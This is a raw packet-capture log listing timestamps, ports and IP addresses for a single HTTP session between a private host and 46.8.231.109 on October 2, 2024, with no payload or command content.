Oct 2, 2024 05:20:08.238010883 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.238027096 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.238038063 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.238049030 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.238071918 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.238071918 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.238111019 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.238198042 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.238244057 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.238681078 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.238698006 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.238708973 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.238749027 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.238781929 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.238909960 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.238920927 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.238930941 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.238941908 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.238964081 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.238964081 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.238997936 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.239012003 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.239025116 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.239034891 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.239047050 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.239058018 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.239068031 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.239088058 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.239088058 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.239126921 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.239623070 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.239656925 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.239666939 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.239716053 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.239764929 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.239775896 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.239787102 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.239828110 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.239828110 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.239912987 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.239923954 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.239933968 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.239943981 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.239954948 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.239967108 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.239979982 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.239979982 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.240020037 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.240020037 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.240112066 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.240551949 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.240590096 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.240623951 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.240637064 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.240641117 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.240694046 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.240744114 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.240756035 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.240767002 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.240777969 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.240806103 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.240806103 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.240859032 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.240897894 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.240909100 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.240926981 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.240936995 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.240947962 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.240957975 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.240972042 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.241022110 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.241022110 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.241552114 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.241570950 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.241584063 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.241640091 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.241683960 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.241694927 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.241705894 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.241755009 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.241821051 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.241832018 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.241847992 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.241858959 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.241868973 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.241878986 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.241905928 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.241950989 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.322729111 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.322782993 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.323023081 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.323088884 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.323093891 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.323112011 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.323156118 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.323203087 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.323223114 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.323241949 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.323261023 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.323267937 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.323307037 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.323350906 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.323363066 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.323373079 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.323389053 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.323431015 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.323445082 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.323457003 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.323467016 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.323472023 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.323477983 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.323529005 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.323738098 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.323750019 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.323760033 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.323771000 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.323781967 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.323795080 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.323822975 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.323822975 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.323944092 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.323955059 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.324012995 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.324023962 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.324048996 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.324059010 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.324069977 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.324071884 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.324080944 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.324096918 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.324127913 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.324129105 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.324302912 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.324314117 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.324323893 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.324335098 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.324345112 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.324363947 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.324369907 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.324404955 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.324404955 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.324513912 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.324532986 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.324559927 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.324593067 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.324661016 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.324672937 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.324682951 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.324693918 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.324704885 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.324713945 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.324716091 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.324727058 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.324738979 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.324742079 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.324742079 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.324752092 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.324763060 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.324779987 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.324810028 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.324908972 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.324971914 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.324982882 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.325000048 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.325015068 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.325047970 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.325124025 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.325134993 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.325145006 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.325160980 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.325176954 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.325229883 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.325229883 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.325273991 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.325285912 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.325295925 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.325340986 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.325352907 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.325365067 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.325375080 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.325386047 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.325396061 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.325407028 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.325413942 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.325413942 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.325433969 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.325459003 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.325650930 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.325663090 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.325706005 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.325737953 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.325759888 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.325772047 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.325782061 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.325793028 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.325802088 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.325812101 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.325813055 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.325812101 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.325829029 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.325840950 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.325844049 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.325844049 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.325865030 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.325884104 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.326131105 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.326143026 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.326153040 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.326163054 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.326173067 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.326184988 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.326200008 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.326234102 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.326234102 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.326394081 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.326405048 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.326414108 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.326425076 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.326435089 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.326445103 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.326456070 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.326487064 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.326514959 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.326699018 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.326714993 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.326726913 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.326736927 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.326747894 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.326756954 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.326767921 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.326777935 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.326786041 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.326787949 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.326801062 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.326808929 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.326842070 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.326842070 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.327019930 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.327086926 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.327176094 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.327188015 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.327198029 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.327208996 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.327218056 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.327229023 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.327239037 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.327249050 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.327250957 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.327260017 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.327274084 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.327275991 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.327301979 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.327301979 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.327337027 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.409183025 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.409207106 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.409215927 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.409282923 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.409293890 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.409306049 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.409317017 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.409329891 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.409358025 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.409358025 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.409393072 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.409446955 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.409459114 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.409470081 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.409523964 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.409554958 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.409568071 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.409578085 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.409612894 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.409612894 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.409691095 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.409703016 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.409713030 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.409723043 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.409779072 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.409779072 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.409795046 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.409805059 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.409871101 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.409913063 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.409924030 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.409934044 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.409948111 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.409984112 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.409984112 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.409984112 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.410101891 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.410109997 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.410116911 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.410128117 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.410137892 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.410147905 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.410161018 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.410161972 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.410161972 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.410185099 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.410203934 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.410381079 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.410393000 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.410408020 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.410422087 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.410432100 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.410434008 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.410444021 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.410455942 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.410459995 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.410459995 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.410499096 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.410500050 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.410625935 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.410636902 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.410648108 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.410679102 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.410711050 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.410763025 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.410775900 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.410785913 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.410797119 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.410815001 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.410815001 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.410850048 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.410897970 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.410913944 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.410924911 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.410953999 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.410993099 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.411000013 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.411003113 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.411017895 CEST	80	49780	46.8.231.109	192.168.2.4
